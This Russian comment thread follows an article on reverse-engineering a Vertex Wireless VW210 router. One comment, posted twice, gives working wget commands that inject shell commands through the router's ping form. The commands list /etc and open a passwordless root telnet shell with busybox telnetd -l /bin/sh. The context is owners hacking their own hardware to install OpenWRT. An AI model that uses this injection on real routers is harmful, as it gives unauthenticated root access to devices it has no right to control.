Comments 17
Давненько тут не было эксгумаций… Респект, отличное расследование!
Хотел подобным образом выпотрошить один роутер от Technicolor, но отвлёкся. Ваша заметка замотивировала на второй подход к «снаряду», спасибо.
С нетерпением будем ждать продолжения про прививку OpenWRT
В kit'е от Micrel'я лежат исходники камикадзе и древнего ядра, которое использовано на этой железке. Но конфиг ядра, к сожалению, неизвестен. Начну наверное с компиляции той версии OpenWRT, что есть в комплекте. Аппарат разрабам OpenWRT уже интереса не представляет, т.ч. полноценная поддержка актуальных версий под большим вопросом даже, если я патчей напилю.
Статья написана отлично! С юмором. Спасибо. Я хоть и понял довольно мало, ибо не железячник ни разу, но от прочтения получил удовольствие.
Больше всего переживал за оформление и мою своеобразную манеру изложения, т.к. с самим содержанием была только одна проблема — его было слишком много (хватило бы на остросюжетный сериал) и пришлось сильно его сокращать и выделять самое полезное. Если честно, есть подозрение, что до «середины этого Днепра» долетает далеко не каждая птица. Очень радует, что мой опус заинтересовал даже не железячника.
Уооо. Такая милота в последних строках. Оч люблю подобные статьи расследования) Продолжайте писать! А манера изложения похожа на автора блога компании КРОК(не скажу на какого именно, не помню)
Спасибо за поддержку и за сравнение с автором одного из моих любимых блогов на хабре. Очень хотелось внести свою лепту в превращения любимого ресурса в торт. Правда первые несколько дней показывают, что какой-нибудь перевод жалобного плача на несовершенство современных операционок гораздо популярнее и холиварнее, чем очередная железячная статья. Наверно там целевая аудитория шире :)
Раз у вы меня тут активно линкуете, напишу еще один забавный совет: когда найдена уязвимость и можно выполнить что-либо на роутере, вариант с заводским telnetd не самый правильный. Я делал так: загружал на устройство busybox и там стартовал его собственный telnetd с параметрами для другого порта, в итоге можно подключаться к этому порту без логина и пароля.
Я рассматривал стороннюю минимальную реализацию телнета и вариант с самописным reverse shell'ом на асме, благо в заготовочках уже лежит шелл-код на случай возможного использования какой-нить уязвимости с выполнением кода. Но собранное кросс-компилятором с наскоку и залитое по tftp сразу не заработало, так что это пока поле для экспериментов.
Коллега, вы ведь уже так близко!
Эксплоита через POST достаточно для полного взлома, как я и говорил раньше.
Не удержался и проверил сам.
Итого, в первую очередь нам надо получать ответ от роутера. Он нагло отказывается писать что-то в /dev/kmsg и отображать это в системном логе, но при этом все-равно файловая система не read-only и можно записать вывод команды в файл, а потом просмотреть его через веб:
После выполнения видим заветные «blabla».
По тому же принципу выполняем, например,
и видим содержимое /etc:
В системе уже стоит неплохой busybox, в нем есть telnet, понимающий ключи -p и -l. По-умолчанию для авторизации используется /bin/login, но он нам не подойдет, поэтому скармливаем ему /bin/sh:
После этого видим такую замечательную картину:
На этом все, роутер взломан и начинается долгая и туманная борьба с извлечением прошивки, сборкой OpenWRT, подбором паролей, пробрасыванием драйверов и т.д. :)
Как сделаете рабочий билд — с удовольствием протестирую на своем VW240.
Эксплоита через POST достаточно для полного взлома, как я и говорил раньше.
Не удержался и проверил сам.
Итого, в первую очередь нам надо получать ответ от роутера. Он нагло отказывается писать что-то в /dev/kmsg и отображать это в системном логе, но при этом все-равно файловая система не read-only и можно записать вывод команды в файл, а потом просмотреть его через веб:
wget --post-data "cmd_key=%24echo blabla>/web/out.txt%3b" "http://192.168.200.1/goform/ping_showpopup" curl "http://192.168.200.1/out.txt"
После выполнения видим заветные «blabla».
По тому же принципу выполняем, например,
wget --post-data "cmd_key=%24ls -l /etc>/web/out.txt%3b" "http://192.168.200.1/goform/ping_showpopup"
и видим содержимое /etc:
Скрытый текст
-rwxr-xr-x 1 0 0 5 Apr 6 2011 ld.so.conf -rwxr-xr-x 1 0 0 2266 Apr 6 2011 snmpd.conf -rwxr-xr-x 1 0 0 3047 Apr 6 2011 ramfs.img -rwxr-xr-x 1 0 0 251 Apr 6 2011 default.bound drwxr-xr-x 2 0 0 1024 Apr 6 2011 iproute2 drwxr-xr-x 2 0 0 1024 Apr 6 2011 linuxigd -rw-r--r-- 1 0 0 1224 Apr 6 2011 ld.so.cache drwxr-xr-x 3 0 0 1024 Apr 6 2011 Wireless -rw-r--r-- 1 0 0 20 Apr 6 2011 rollback.dat drwxr-xr-x 2 0 0 1024 Jan 1 1970 config -rwxr-xr-x 1 0 0 28 Apr 6 2011 setWlanConfig -rw-r--r-- 1 0 0 17 Apr 6 2011 version.vw200 -rwxr-xr-x 1 0 0 206 Apr 6 2011 fstab -rwxr-xr-x 1 0 0 27 Apr 6 2011 default.renew -rwxr-xr-x 1 0 0 27 Apr 6 2011 default.script -rwxr-xr-x 1 0 0 231 Apr 6 2011 restart -rw-r--r-- 1 0 0 29 Apr 6 2011 version -rwxr-xr-x 1 0 0 90 Apr 6 2011 inittab -rwxr-xr-x 1 0 0 8205 Apr 6 2011 services -rwxr-xr-x 1 0 0 464 Apr 6 2011 rc -rwxr-xr-x 1 0 0 193 Apr 6 2011 killforupload drwxr-xr-x 3 0 0 1024 Apr 6 2011 ppp -rwxr-xr-x 1 0 0 68 Apr 6 2011 default.deconfig
В системе уже стоит неплохой busybox, в нем есть telnet, понимающий ключи -p и -l. По-умолчанию для авторизации используется /bin/login, но он нам не подойдет, поэтому скармливаем ему /bin/sh:
wget --post-data "cmd_key=%24busybox telnetd -p 40 -l /bin/sh>/web/out.txt%3b" "http://192.168.200.1/goform/ping_showpopup"
После этого видим такую замечательную картину:
Скрытый текст

На этом все, роутер взломан и начинается долгая и туманная борьба с извлечением прошивки, сборкой OpenWRT, подбором паролей, пробрасыванием драйверов и т.д. :)
Как сделаете рабочий билд — с удовольствием протестирую на своем VW240.
Потыкать в ключи родного телнета я действительно не догадался. Благодарю!
Ну и действительно — родная прошивка нужна была только для изучения, а не для доработки, т.к. огромный слой плесени на ней не даёт шансов сделать из неё хоть что-то похожее на конфетку. Буду пытаться завести OpenWRT и подключу вас к тестированию, раз уж у меня есть доброволец.
Ну и действительно — родная прошивка нужна была только для изучения, а не для доработки, т.к. огромный слой плесени на ней не даёт шансов сделать из неё хоть что-то похожее на конфетку. Буду пытаться завести OpenWRT и подключу вас к тестированию, раз уж у меня есть доброволец.
Спасибо, очень интересная статья. Надо будет мне над своим роутером по издеваться.
Свежее поле. Есть роутер (huawey), для которого нет openVRT, думаю самому скомпилировать. Проблема в том, что к нему подключается не витая пара, а оптоволокно (т.е. это не совсем роутер, а скорее терминал). Посмотрю что за модель, напишу.
Sign up to leave a comment.
Vertex Wireless VW210: редкий роутер и его внутренний мир